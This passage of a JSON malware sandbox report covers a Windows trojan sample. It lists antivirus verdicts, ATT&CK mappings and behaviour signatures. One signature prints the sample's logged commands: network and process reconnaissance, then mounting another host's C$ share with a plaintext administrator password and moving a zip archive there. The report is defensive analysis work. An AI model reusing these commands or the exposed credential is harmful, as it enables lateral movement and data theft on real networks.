eXplorer","success":true,"verdict":"malicious","threat_name":"Trojan.Win32.Genus.HVM","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"virusblokada":{"name":"VirusBlokAda","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"xviruspersonalguard":{"name":"Xvirus Personal Guard","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"}}},"rule_matches":{},"attributions":{"malware_families":[{"value":"Trojan.Generic","sources":[{"report_type":"quickscan","report_id":""}]}]},"mitre_attacks":[{"tactic":"Execution","technique":"Service Execution","attack_id":"T1035","attack_id_wiki":"https://attack.mitre.org/wiki/Technique/T1035","identifiers":[{"type":"informative","value":"Opened the service control manager"}],"sources":[{"report_type":"sandbox","report_id":"5db729810288386045cf484b"}]},{"tactic":"Execution","technique":"Local Job Scheduling","attack_id":"T1168","attack_id_wiki":"https://attack.mitre.org/wiki/Technique/T1168","identifiers":[{"type":"malicious","value":"Schedules a task to be executed at a specific time and date"}],"sources":[{"report_type":"sandbox","report_id":"5db729810288386045cf484b"}]},{"tactic":"Execution","technique":"Windows Management Instrumentation","attack_id":"T1047","attack_id_wiki":"https://attack.mitre.org/wiki/Technique/T1047","identifiers":[{"type":"informative","value":"Contains references to WMI/WMIC"}],"sources":[{"report_type":"sandbox","report_id":"5db729810288386045cf484b"}]},{"tactic":"Persistence","technique":"Kernel Modules and Extensions","attack_id":"T1215","attack_id_wiki":"https://attack.mitre.org/wiki/Technique/T1215","identifiers":[{"type":"informative","value":"Opens the Kernel Security Device Driver (KsecDD) of Windows"}],"sources":[{"report_type":"sandbox","report_id":"5db729810288386045cf484b"}]},{"tactic":"Persistence","technique":"Hooking","attack_id":"T1179","attack_id_wiki":"https://attack.mitre.org/wiki/Technique/T1179","identifiers":[{"type":"suspicious","value":"Installs hooks/patches the running process"}],"sources":[{"report_type":"sandbox","report_id":"5db729810288386045cf484b"}]},{"tactic":"Privilege Escalation","technique":"Process Injection","attack_id":"T1055","attack_id_wiki":"https://attack.mitre.org/wiki/Technique/T1055","identifiers":[{"type":"suspicious","value":"Writes data to a remote process"},{"type":"malicious","value":"Allocates virtual memory in a remote process"}],"sources":[{"report_type":"sandbox","report_id":"5db729810288386045cf484b"}]},{"tactic":"Defense Evasion","technique":"File Deletion","attack_id":"T1107","attack_id_wiki":"https://attack.mitre.org/wiki/Technique/T1107","identifiers":[{"type":"suspicious","value":"Marks file for deletion"}],"sources":[{"report_type":"sandbox","report_id":"5db729810288386045cf484b"}]},{"tactic":"Defense Evasion","technique":"Software Packing","attack_id":"T1045","attack_id_wiki":"https://attack.mitre.org/wiki/Technique/T1045","identifiers":[{"type":"informative","value":"Matched Compiler/Packer signature"}],"sources":[{"report_type":"sandbox","report_id":"5db729810288386045cf484b"}]},{"tactic":"Defense Evasion","technique":"Modify Registry","attack_id":"T1112","attack_id_wiki":"https://attack.mitre.org/wiki/Technique/T1112","identifiers":[{"type":"informative","value":"Creates or modifies windows services"},{"type":"suspicious","value":"Modifies proxy settings"}],"sources":[{"report_type":"sandbox","report_id":"5db729810288386045cf484b"}]},{"tactic":"Discovery","technique":"Query Registry","attack_id":"T1012","attack_id_wiki":"https://attack.mitre.org/wiki/Technique/T1012","identifiers":[{"type":"suspicious","value":"Reads the windows installation date"},{"type":"suspicious","value":"Queries sensitive IE security settings"},{"type":"suspicious","value":"Reads the active computer name"},{"type":"informative","value":"Reads the registry for installed applications"},{"type":"informative","value":"Reads the cryptographic machine GUID"},{"type":"informative","value":"Reads information about supported languages"}],"sources":[{"report_type":"sandbox","report_id":"5db729810288386045cf484b"}]},{"tactic":"Discovery","technique":"System Time Discovery","attack_id":"T1124","attack_id_wiki":"https://attack.mitre.org/wiki/Technique/T1124","identifiers":[{"type":"informative","value":"Contains ability to query the machine timezone"},{"type":"informative","value":"Contains ability to query machine time"}],"sources":[{"report_type":"sandbox","report_id":"5db729810288386045cf484b"}]},{"tactic":"Discovery","technique":"Network Service Scanning","attack_id":"T1046","attack_id_wiki":"https://attack.mitre.org/wiki/Technique/T1046","identifiers":[{"type":"suspicious","value":"Detected increased number of ARP broadcast requests (network device lookup)"}],"sources":[{"report_type":"sandbox","report_id":"5db729810288386045cf484b"}]},{"tactic":"Discovery","technique":"System Information Discovery","attack_id":"T1082","attack_id_wiki":"https://attack.mitre.org/wiki/Technique/T1082","identifiers":[{"type":"suspicious","value":"Contains ability to query CPU information"}],"sources":[{"report_type":"sandbox","report_id":"5db729810288386045cf484b"}]},{"tactic":"Discovery","technique":"Account Discovery","attack_id":"T1087","attack_id_wiki":"https://attack.mitre.org/wiki/Technique/T1087","identifiers":[{"type":"malicious","value":"Detected network related fingerprinting/snooping attempt"}],"sources":[{"report_type":"sandbox","report_id":"5db729810288386045cf484b"}]},{"tactic":"Discovery","technique":"Remote System Discovery","attack_id":"T1018","attack_id_wiki":"https://attack.mitre.org/wiki/Technique/T1018","identifiers":[{"type":"suspicious","value":"Checks network status using ping"}],"sources":[{"report_type":"sandbox","report_id":"5db729810288386045cf484b"}]}],"sandbox_signatures":[{"level":"informative","category":"Anti-Detection/Stealthyness","name":"Contains ability to lookup its own filename","description":"PathFindFileNameW@SHLWAPI.DLL at 00565482-00004572-40204-149-0043607D","origin":"Hybrid Analysis Technology","relevance":5,"id":"stream-65","sources":[{"report_type":"sandbox","report_id":"5db729810288386045cf484b"}]},{"level":"informative","category":"Anti-Detection/Stealthyness","name":"Queries kernel debugger information","description":"\"ipconfig.exe\" at 00566314-00002484-00000105-27398397232\n \"tasklist.exe\" at 00566322-00004520-00000105-28112819402\n \"netsh.exe\" at 00566335-00004208-00000105-108353798870","origin":"API Call","relevance":6,"id":"api-10","sources":[{"report_type":"sandbox","report_id":"5db729810288386045cf484b"}]},{"level":"informative","category":"Anti-Reverse Engineering","name":"Contains ability to register a top-level exception handler (often used as anti-debugging trick)","description":"SetUnhandledExceptionFilter@KERNEL32.dll at 31026-4653-004416A5\n SetUnhandledExceptionFilter@KERNEL32.dll at 31026-6862-0043C38E\n SetUnhandledExceptionFilter@KERNEL32.DLL at 00565482-00004572-40204-17-0043E6C4\n SetUnhandledExceptionFilter@KERNEL32.DLL at 00565482-00004572-40204-18-00438202\n SetUnhandledExceptionFilter@KERNEL32.DLL at 00565482-00004572-40204-2480-004416A5\n SetUnhandledExceptionFilter@KERNEL32.DLL at 00565482-00004572-40204-4113-0043C38E","origin":"Hybrid Analysis Technology","relevance":1,"id":"stream-4","sources":[{"report_type":"sandbox","report_id":"5db729810288386045cf484b"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to query machine time","description":"GetSystemTimeAsFileTime@KERNEL32.DLL at 00565482-00004572-40204-192-0043D2CD","origin":"Hybrid Analysis Technology","mitre_attack_id":"T1124","relevance":1,"id":"stream-2","sources":[{"report_type":"sandbox","report_id":"5db729810288386045cf484b"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to query the machine timezone","description":"GetTimeZoneInformation@KERNEL32.dll at 31026-4349-004437DE\n GetTimeZoneInformation@KERNEL32.DLL at 00565482-00004572-40204-2178-004437DE","origin":"Hybrid Analysis Technology","mitre_attack_id":"T1124","relevance":1,"id":"stream-48","sources":[{"report_type":"sandbox","report_id":"5db729810288386045cf484b"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to query the machine version","description":"GetVersionExW@KERNEL32.dll at 31026-2474-0040CA9A\n GetVersionExA@KERNEL32.dll at 31026-2738-0040976E\n GetVersionExW@KERNEL32.dll at 31026-4980-0043080A\n GetVersionExW@KERNEL32.DLL at 00565482-00004572-40204-324-0040CA9A\n GetVersionExA@KERNEL32.DLL at 00565482-00004572-40204-570-0040976E\n GetVersionExW@KERNEL32.DLL at 00565482-00004572-40204-2805-0043080A","origin":"Hybrid Analysis Technology","relevance":1,"id":"stream-3","sources":[{"report_type":"sandbox","report_id":"5db729810288386045cf484b"}]},{"level":"informative","category":"Environment Awareness","name":"Makes a code branch decision directly after an API that is environment aware","description":"Found API call GetVersionExA@KERNEL32.dll directly followed by \"cmp dword ptr [ebp-00000088h], 02h\" and \"xor ecx, ebp\" at 31026-2738-0040976E\n Found API call GetTimeZoneInformation@KERNEL32.dll directly followed by \"cmp eax, edi\" and \"je 004439FAh\" at 31026-4349-004437DE\n Found API call GetVersionExW@KERNEL32.dll directly followed by \"cmp dword ptr [ebp-00000120h], 06h\" and \"push dword ptr [ebp+20h]\" at 31026-4980-0043080A\n Found API call GetVersionExA@KERNEL32.DLL directly followed by \"cmp dword ptr [ebp-00000088h], 02h\" and \"xor ecx, ebp\" at 00565482-00004572-40204-570-0040976E\n Found API call GetTimeZoneInformation@KERNEL32.DLL directly followed by \"cmp eax, edi\" and \"je 004439FAh\" at 00565482-00004572-40204-2178-004437DE\n Found API call GetVersionExW@KERNEL32.DLL directly followed by \"cmp dword ptr [ebp-00000120h], 06h\" and \"push dword ptr [ebp+20h]\" at 00565482-00004572-40204-2805-0043080A","origin":"Hybrid Analysis Technology","relevance":10,"id":"stream-39","sources":[{"report_type":"sandbox","report_id":"5db729810288386045cf484b"}]},{"level":"informative","category":"Environment Awareness","name":"Reads the cryptographic machine GUID","description":"\"ipconfig.exe\" (Path: \"HKLM\\SOFTWARE\\MICROSOFT\\CRYPTOGRAPHY\"; Key: \"MACHINEGUID\")\n \"tasklist.exe\" (Path: \"HKLM\\SOFTWARE\\MICROSOFT\\CRYPTOGRAPHY\"; Key: \"MACHINEGUID\")\n \"netsh.exe\" (Path: \"HKLM\\SOFTWARE\\MICROSOFT\\CRYPTOGRAPHY\"; Key: \"MACHINEGUID\")","origin":"Registry Access","mitre_attack_id":"T1012","relevance":10,"id":"registry-1","sources":[{"report_type":"sandbox","report_id":"5db729810288386045cf484b"}]},{"level":"informative","category":"Environment Awareness","name":"Reads the registry for installed applications","description":"\"\" (Path: \"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\APP PATHS\\CMD.EXE\")\n \"\" (Path: \"HKLM\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\APP PATHS\\CMD.EXE\")","origin":"Registry Access","mitre_attack_id":"T1012","relevance":10,"id":"registry-55","sources":[{"report_type":"sandbox","report_id":"5db729810288386045cf484b"}]},{"level":"informative","category":"General","name":"Contains PDB pathways","description":"\"%USERPROFILE%\\Documents\\Visual Studio 2008\\Projects\\MyStub\\Release\\MyStub.pdb\"","origin":"File/Memory","relevance":1,"id":"string-7","sources":[{"report_type":"sandbox","report_id":"5db729810288386045cf484b"}]},{"level":"informative","category":"General","name":"Creates a writable file in a temporary directory","description":"\"\" created file \"%TEMP%\\MSI17f1f.tmp\"\n \"\" created file \"%TEMP%\\temp\\browser.his\"\n \"\" created file \"%TEMP%\\MSI17f1f.tmp-wal\"\n \"\" created file \"%TEMP%\\MSI17f1f.tmp-shm\"","origin":"API Call","relevance":1,"id":"api-4","sources":[{"report_type":"sandbox","report_id":"5db729810288386045cf484b"}]},{"level":"informative","category":"General","name":"Creates mutants","description":"\"\\Sessions\\1\\BaseNamedObjects\\Local\\ZonesCacheCounterMutex\"\n \"\\Sessions\\1\\BaseNamedObjects\\Local\\ZonesLockedCacheCounterMutex\"\n \"Local\\ZonesCacheCounterMutex\"\n \"Local\\ZonesLockedCacheCounterMutex\"\n \"\\Sessions\\1\\BaseNamedObjects\\RasPbFile\"\n \"\\Sessions\\1\\BaseNamedObjects\\Global\\3a886eb8-fe40-4d0a-b78b-9e0bcb683fb7\"","origin":"Created Mutant","relevance":3,"id":"mutant-0","sources":[{"report_type":"sandbox","report_id":"5db729810288386045cf484b"}]},{"level":"informative","category":"General","name":"Opened the service control manager","description":"\"netsh.exe\" called \"OpenSCManager\" requesting access rights \"0X0\"","origin":"API Call","mitre_attack_id":"T1035","relevance":10,"id":"api-77","sources":[{"report_type":"sandbox","report_id":"5db729810288386045cf484b"}]},{"level":"informative","category":"General","name":"Overview of unique CLSIDs touched in registry","description":"$25","origin":"Registry Access","relevance":3,"id":"registry-72","sources":[{"report_type":"sandbox","report_id":"5db729810288386045cf484b"}]},{"level":"informative","category":"General","name":"Runs shell commands","description":"\"/c ipconfig /all > \"%TEMP%\\\\temp\\res.ip\"\" on 2019-10-28.17:48:21.543\n \"/c tasklist > \"%TEMP%\\\\temp\\task.list\"\" on 2019-10-28.17:48:21.668\n \"/c netstat -naop tcp > \"%TEMP%\\\\temp\\netstat.res\"\" on 2019-10-28.17:48:21.809\n \"/c netsh interface ip show config > \"%TEMP%\\\\temp\\netsh.res\"\" on 2019-10-28.17:48:21.887\n \"/c net use \\\\10.38.1.35\\C$ su.controller5kk /user:KKNPP\\administrator\" on 2019-10-28.17:54:12.387\n \"/c move /y %TEMP%\\\\~948E30C5MT.tmp \\\\10.38.1.35\\C$\\Windows\\Temp\\MpLogs\\\" on 2019-10-28.17:54:13.418\n \"/c net use \\\\10.38.1.35\\C$ /delete\" on 2019-10-28.17:54:16.450\n \"/c ping -n 3 127.0.0.1 >NUL & echo EEEE > \"\"\" on 2019-10-28.17:54:16.481","origin":"Monitored Target","relevance":5,"id":"target-3","sources":[{"report_type":"sandbox","report_id":"5db729810288386045cf484b"}]},{"level":"informative","category":"General","name":"Spawns new processes","description":"$26","origin":"Monitored Target","relevance":3,"id":"target-25","sources":[{"report_type":"sandbox","report_id":"5db729810288386045cf484b"}]},{"level":"informative","category":"General","name":"Spawns new processes that are not known child processes","description":"$27","origin":"Monitored Target","relevance":3,"id":"target-103","sources":[{"report_type":"sandbox","report_id":"5db729810288386045cf484b"}]},{"level":"informative","category":"Installation/Persistance","name":"Connects to LPC ports","description":"\"\" connecting to \"\\ThemeApiPort\"\n \"ipconfig.exe\" connecting to \"\\ThemeApiPort\"\n \"netsh.exe\" connecting to \"\\ThemeApiPort\"","origin":"API Call","relevance":1,"id":"api-16","sources":[{"report_type":"sandbox","report_id":"5db729810288386045cf484b"}]},{"level":"informative","category":"Installation/Persistance","name":"Dropped files","description":"\"netstat.res\" has type \"ASCII text with CRLF line terminators\"\n \"c.tmp~\" has type \"data\"\n \"res.ip\" has type \"ASCII text with CRLF line terminators\"\n \"netsh.res\" has type \"ASCII text with CRLF line terminators\"\n \"c.tmp\" has type \"Zip archive data at least v2.0 to extract\"\n \"z.tmp\" has type \"Zip archive data at least v2.0 to extract\"\n \"task.list\" has type \"ASCII text with CRLF line terminators\"\n \"browser.his\" has type \"news ASCII text with CRLF CR line terminators\"\n \"~948E30C5MT.tmp\" has type \"Zip archive data at least v2.0 to extract\"\n \"z.tmp~\" has type \"amd 29k coff prebar executable\"","origin":"Binary File","relevance":3,"id":"binary-0","sources":[{"report_type":"sandbox","report_id":"5db729810288386045cf484b"}]},{"level":"informative","category":"Installation/Persistance","name":"Touches files in the Windows directory","description":"$28","origin":"API Call","relevance":7,"id":"api-55","sources":[{"report_type":"sandbox","report_id":"5db729810288386045cf484b"}]},{"level":"informative","category":"Network Related","name":"Found potential IP address in binary/memory","description":"$29","origin":"File/Memory","relevance":3,"id":"string-14","sources":[{"report_type":"sandbox","report_id":"5db729810288386045cf484b"}]},{"level":"informative","category":"Network Related","name":"Found potential URL in binary/memory","description":"Pattern match: \"https://www.mozilla.org/en-US/firefox/central/\"\n Pattern match: \"https://support.mozilla.org/en-US/products/firefox\"\n Pattern match: \"https://www.mozilla.org/en-US/firefox/customize/\"\n Pattern match: \"https://www.mozilla.org/en-US/contribute/\"\n Pattern match: \"https://www.mozilla.org/en-US/about/\"","origin":"File/Memory","relevance":10,"id":"string-3","sources":[{"report_type":"sandbox","report_id":"5db729810288386045cf484b"}]},{"level":"informative","category":"Remote Access Related","name":"Contains references to WMI/WMIC","description":"\"WmiPrvSE.exe\" (Indicator: \"wmiprvse.exe\")\n \"WmiPrvSE.exe 3004 Services 0 10,004 K\" (Indicator: \"wmiprvse.exe\")\n \"WmiPrvSE.exe 3496 Services 0 4,664 K\" (Indicator: \"wmiprvse.exe\")","origin":"File/Memory","mitre_attack_id":"T1047","relevance":10,"id":"string-30","sources":[{"report_type":"sandbox","report_id":"5db729810288386045cf484b"}]},{"level":"informative","category":"System Security","name":"Creates or modifies windows services","description":"$2a","origin":"Registry Access","mitre_attack_id":"T1112","relevance":10,"id":"registry-67","sources":[{"report_type":"sandbox","report_id":"5db729810288386045cf484b"}]},{"level":"informative","category":"System Security","name":"Opens the Kernel Security Device Driver (KsecDD) of Windows","description":"\"\" opened \"\\Device\\KsecDD\"\n \"ipconfig.exe\" opened \"\\Device\\KsecDD\"\n \"tasklist.exe\" opened \"\\Device\\KsecDD\"\n \"netsh.exe\" opened \"\\Device\\KsecDD\"","origin":"API Call","mitre_attack_id":"T1215","relevance":10,"id":"api-37","sources":[{"report_type":"sandbox","report_id":"5db729810288386045cf484b"}]},{"level":"informative","category":"Unusual Characteristics","name":"Matched Compiler/Packer signature","description":"\"test.exe.bin\" was detected as \"VC8 -> Microsoft Corporation\"","origin":"Static Parser","mitre_attack_id":"T1045","relevance":10,"id":"static-18","sources":[{"report_type":"sandbox","report_id":"5db729810288386045cf484b"}]},{"level":"informative","category":"Unusual Characteristics","name":"Reads information about supported languages","description":"\"ipconfig.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\LOCALE\"; Key: \"00000409\")\n \"NETSTAT.EXE\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\LOCALE\"; Key: \"00000409\")\n \"net.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\LOCALE\"; Key: \"00000409\")","origin":"Registry Access","mitre_attack_id":"T1012","relevance":3,"id":"registry-25","sources":[{"report_type":"sandbox","report_id":"5db729810288386045cf484b"}]},{"level":"suspicious","category":"Environment Awareness","name":"Contains ability to query CPU information","description":"cpuid at 00565482-00004572-40204-2536-0043F6E4","origin":"Hybrid Analysis Technology","mitre_attack_id":"T1082","relevance":10,"id":"stream-13","sources":[{"report_type":"sandbox","report_id":"5db729810288386045cf484b"}]},{"level":"suspicious","category":"Environment Awareness","name":"Reads the active computer name","description":"\"\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\COMPUTERNAME\\ACTIVECOMPUTERNAME\"; Key: \"COMPUTERNAME\")\n \"ipconfig.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\COMPUTERNAME\\ACTIVECOMPUTERNAME\"; Key: \"COMPUTERNAME\")\n \"tasklist.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\COMPUTERNAME\\ACTIVECOMPUTERNAME\"; Key: \"COMPUTERNAME\")\n \"NETSTAT.EXE\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\COMPUTERNAME\\ACTIVECOMPUTERNAME\"; Key: \"COMPUTERNAME\")\n \"netsh.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\COMPUTERNAME\\ACTIVECOMPUTERNAME\"; Key: \"COMPUTERNAME\")\n \"net.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\COMPUTERNAME\\ACTIVECOMPUTERNAME\"; Key: \"COMPUTERNAME\")\n \"PING.EXE\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\COMPUTERNAME\\ACTIVECOMPUTERNAME\"; Key: \"COMPUTERNAME\")","origin":"Registry Access","mitre_attack_id":"T1012","relevance":5,"id":"registry-35","sources":[{"report_type":"sandbox","report_id":"5db729810288386045cf484b"}]},{"level":"suspicious","category":"Environment Awareness","name":"Reads the windows installation date","description":"\"\" (Path: \"HKLM\\SOFTWARE\\MICROSOFT\\WINDOWS NT\\CURRENTVERSION\"; Key: \"INSTALLDATE\")","origin":"Registry Access","mitre_attack_id":"T1012","relevance":10,"id":"registry-13","sources":[{"report_type":"sandbox","report_id":"5db729810288386045cf484b"}]},{"level":"suspicious","category":"General","name":"Contains ability to find and load resources of a specific module","description":"$2b","origin":"Hybrid Analysis Technology","relevance":1,"id":"stream-32","sources":[{"report_type":"sandbox","report_id":"5db729810288386045cf484b"}]},{"level":"suspicious","category":"General","name":"Reads configuration files","description":"\"\" read file \"%USERPROFILE%\\Desktop\\desktop.ini\"","origin":"API Call","relevance":4,"id":"api-6","sources":[{"report_type":"sandbox","report_id":"5db729810288386045cf484b"}]},{"level":"suspicious","category":"Installation/Persistance","name":"Drops executable files","description":"\"z.tmp~\" has type \"amd 29k coff prebar executable\"","origin":"Binary File","relevance":10,"id":"binary-1","sources":[{"report_type":"sandbox","report_id":"5db729810288386045cf484b"}]},{"level":"suspicious","category":"Installation/Persistance","name":"Writes data to a remote process","description":"$2c","origin":"API Call","mitre_attack_id":"T1055","relevance":6,"id":"api-0","sources":[{"report_type":"sandbox","report_id":"5db729810288386045cf484b"}]},{"level":"suspicious","category":"Network Related","name":"Detected increased number of ARP broadcast requests (network device lookup)","description":"Attempt to find devices in networks: \"192.168.240.19/32, 192.168.240.27/32, 192.168.240.50/32, 192.168.240.90/32, ...\"","origin":"Network Traffic","mitre_attack_id":"T1046","relevance":10,"id":"network-32","sources":[{"report_type":"sandbox","report_id":"5db729810288386045cf484b"}]},{"level":"suspicious","category":"Spyware/Information Retrieval","name":"Checks network status using ping","description":"Process \"PING.EXE\" with commandline \"ping -n 3 127.0.0.1\" (UID: 00576229-00005528)","origin":"Monitored Target","mitre_attack_id":"T1018","relevance":5,"id":"target-22","sources":[{"report_type":"sandbox","report_id":"5db729810288386045cf484b"}]},{"level":"suspicious","category":"System Destruction","name":"Marks file for deletion","description":"\"C:\\test.exe\" marked \"%TEMP%\\MSI17f1f.tmp-shm\" for deletion\n \"C:\\test.exe\" marked \"%TEMP%\\MSI17f1f.tmp-wal\" for deletion\n \"C:\\test.exe\" marked \"%TEMP%\\MSI17f1f.tmp\" for deletion","origin":"API Call","mitre_attack_id":"T1107","relevance":10,"id":"api-26","sources":[{"report_type":"sandbox","report_id":"5db729810288386045cf484b"}]},{"level":"suspicious","category":"System Destruction","name":"Opens file with deletion access rights","description":"\"\" opened \"%TEMP%\\MSI17f1f.tmp-shm\" with delete access\n \"\" opened \"%TEMP%\\MSI17f1f.tmp-wal\" with delete access\n \"\" opened \"%TEMP%\\MSI17f1f.tmp\" with delete access","origin":"API Call","relevance":7,"id":"api-25","sources":[{"report_type":"sandbox","report_id":"5db729810288386045cf484b"}]},{"level":"suspicious","category":"System Security","name":"Modifies proxy settings","description":"\"\" (Access type: \"DELETEVAL\"; Path: \"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\\ZONEMAP\"; Key: \"PROXYBYPASS\")\n \"\" (Access type: \"DELETEVAL\"; Path: \"HKLM\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\\ZONEMAP\"; Key: \"PROXYBYPASS\")","origin":"Registry Access","mitre_attack_id":"T1112","relevance":10,"id":"registry-27","sources":[{"report_type":"sandbox","report_id":"5db729810288386045cf484b"}]},{"level":"suspicious","category":"System Security","name":"Queries sensitive IE security settings","description":"\"\" (Path: \"HKCU\\SOFTWARE\\MICROSOFT\\INTERNET EXPLORER\\SECURITY\"; Key: \"DISABLESECURITYSETTINGSCHECK\")","origin":"Registry Access","mitre_attack_id":"T1012","relevance":8,"id":"registry-36","sources":[{"report_type":"sandbox","report_id":"5db729810288386045cf484b"}]},{"level":"suspicious","category":"Unusual Characteristics","name":"Imports suspicious APIs","description":"RegCreateKeyExW\n RegDeleteValueW\n RegCloseKey\n RegEnumKeyW\n RegCreateKeyW\n RegOpenKeyExW\n RegDeleteKeyW\n RegOpenKeyW\n GetFileAttributesW\n UnhandledExceptionFilter\n WriteFile\n GetModuleFileNameW\n IsDebuggerPresent\n GetModuleFileNameA\n TerminateProcess\n LoadLibraryW\n GetVersionExW\n GetTickCount\n VirtualProtect\n GetVersionExA\n LoadLibraryA\n GetStartupInfoA\n GetFileSize\n GetStartupInfoW\n DeleteFileW\n GetProcAddress\n GetTempFileNameW\n GetFileSizeEx\n FindFirstFileW\n CreateFileW\n CreateFileA\n LockResource\n GetCommandLineW\n GetModuleHandleA\n GetModuleHandleW\n FindResourceW\n Sleep\n VirtualAlloc\n GetCursorPos\n GetLastActivePopup\n SetWindowsHookExW\n GetWindowThreadProcessId","origin":"Static Parser","relevance":1,"id":"static-1","sources":[{"report_type":"sandbox","report_id":"5db729810288386045cf484b"}]},{"level":"suspicious","category":"Unusual Characteristics","name":"Installs hooks/patches the running process","description":"$2d","origin":"Hook Detection","mitre_attack_id":"T1179","relevance":10,"id":"hooks-8","sources":[{"report_type":"sandbox","report_id":"5db729810288386045cf484b"}]},{"level":"malicious","category":"External Systems","name":"Sample was identified as malicious by a large number of Antivirus engines","description":"35/70 Antivirus vendors marked sample as malicious (50% detection rate)","origin":"External System","relevance":10,"id":"avtest-3","sources":[{"report_type":"sandbox","report_id":"5db729810288386045cf484b"}]},{"level":"malicious","category":"External Systems","name":"Sample was identified as malicious by at least one Antivirus engine","description":"35/70 Antivirus vendors marked sample as malicious (50% detection rate)","origin":"External System","relevance":8,"id":"avtest-0","sources":[{"report_type":"sandbox","report_id":"5db729810288386045cf484b"}]},{"level":"malicious","category":"Installation/Persistance","name":"Allocates virtual memory in a remote process","description":"\"\" allocated memory in \"%PROGRAMFILES%\\Adobe\\Acrobat Reader DC\\Reader\"\n \"\" allocated memory in \"HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Internet Settings\\ZoneMap\"\n \"\" allocated memory in \"%PROGRAMFILES%\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\win8-scrollbar\"\n \"\" allocated memory in \"%PROGRAMFILES%\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\"","origin":"API Call","mitre_attack_id":"T1055","relevance":7,"id":"api-20","sources":[{"report_type":"sandbox","report_id":"5db729810288386045cf484b"}]},{"level":"malicious","category":"Installation/Persistance","name":"Schedules a task to be executed at a specific time and date","description":"Process \"NETSTAT.EXE\" with commandline \"netstat -naop tcp\" (UID: 00566333-00004196)","origin":"Monitored Target","mitre_attack_id":"T1168","relevance":8,"id":"target-13","sources":[{"report_type":"sandbox","report_id":"5db729810288386045cf484b"}]},{"level":"malicious","category":"Spyware/Information Retrieval","name":"Detected network related fingerprinting/snooping attempt","description":"Process \"ipconfig.exe\" with commandline \"ipconfig /all\" (UID: 00566314-00002484)","origin":"Monitored Target","mitre_attack_id":"T1087","relevance":10,"id":"target-48","sources":[{"report_type":"sandbox","report_id":"5db729810288386045cf484b"}]},{"level":"malicious","category":"Unusual Characteristics","name":"Checks for a resource fork (ADS) file","description":"\"\" checked file \"C:\"","origin":"API Call","relevance":5,"id":"api-35","sources":[{"report_type":"sandbox","report_id":"5db729810288386045cf484b"}]},{"level":"malicious","category":"Unusual Characteristics","name":"Spawns a lot of processes","description":"$2e","origin":"Monitored Target","relevance":8,"id":"target-14","sources":[{"report_type":"sandbox","report_id":"5db729810288386045cf484b"}]}],"incidents":[{"name":"Persistence","details_count":2,"details":[{"detail":"Schedules a task to be executed at a specific time and date"},{"detail":"Spawns a lot of processes"}],"sources":[{"report_type":"sandbox","report_id":"5db729810288386045cf484b"}]},{"name":"Fingerprint","details_count":4,"details":[{"detail":"Reads the windows installation date"},{"detail":"Reads the active computer name"},{"detail":"Queries sensitive IE security settings"},{"detail":"Detected network related fingerprinting/snooping attempt"}],"sources":[{"report_type":"sandbox","report_id":"5db729810288386045cf484b"}]},{"name":"Evasive","details_count":2,"details":[{"detail":"Marks file for deletion"},{"detail":"Checks network status using ping"}],"sources":[{"report_type":"sandbox","report_id":"5db729810288386045cf484b"}]},{"name":"Spreading","details_count":1,"details":[{"detail":"Opens the MountPointManager (often used to detect additional infection locations)"}],"sources":[{"report_type":"sandbox","report_id":"5db729810288386045cf484b"}]}]},"activity":{"stats":{"process_count":16,"spawned_processes_count":16,"injected_processes_count":0,"script_calls_count":0,"mutex_created_count":8,"imported_dlls_count":159,"dropped_files_count":0,"extracted_files_count":10,"files_written_count":35,"files_deleted_count":0,"registry_keys_created_count":7,"registry_keys_modified_count":0,"registry_keys_deleted_count":0,"registry_keys_opened_count":0,"registry_keys_queried_count":0,"registry_operations_count":7,"embedded_ips_count":0,"embedded_domains_count":0,"embedded_urls_count":0,"contacted_hosts_count":0,"dns_resolutions_count":0,"contacted_urls_count":0,"http_requests_count":0},"behavior_tags":["pythoninmemorystager"],"sample_flags":["Extracted Files"],"sandbox_reports":[{"id":"5db729810288386045cf484b","environment_id":100,"environment_description":"Windows 7 32 bit","state":"SUCCESS","verdict":"malicious","threat_score":100,"malware_family":"Trojan.Generic","submit_name":"test.exe","analysis_start_time":"2019-10-28T17:46:46+00:00","indicators_count":{"informative":27,"suspicious":20,"malicious":8},"tags":["Extracted Files"],"is_in_unified_schema":true}],"network_activity":{"contacted_hosts":null,"dns_resolutions":null,"http_requests":null},"process_activity":{"sources":[{"report_type":"sandbox","report_id":"5db729810288386045cf484b"}],"processes":[{"pid":4572,"ppid":0,"name":"test.exe","command_line":"","sha256":"791c59a0d6456ac1d9976fe82dc6b13f3e5980c6cfa2fd9d58a3cc849755ea9f","normalized_path":"C:\\test.exe","uid":"00565482-00004572","icon":"$2f"},{"pid":2628,"ppid":4572,"name":"cmd.exe","command_line":"/c ipconfig /all > 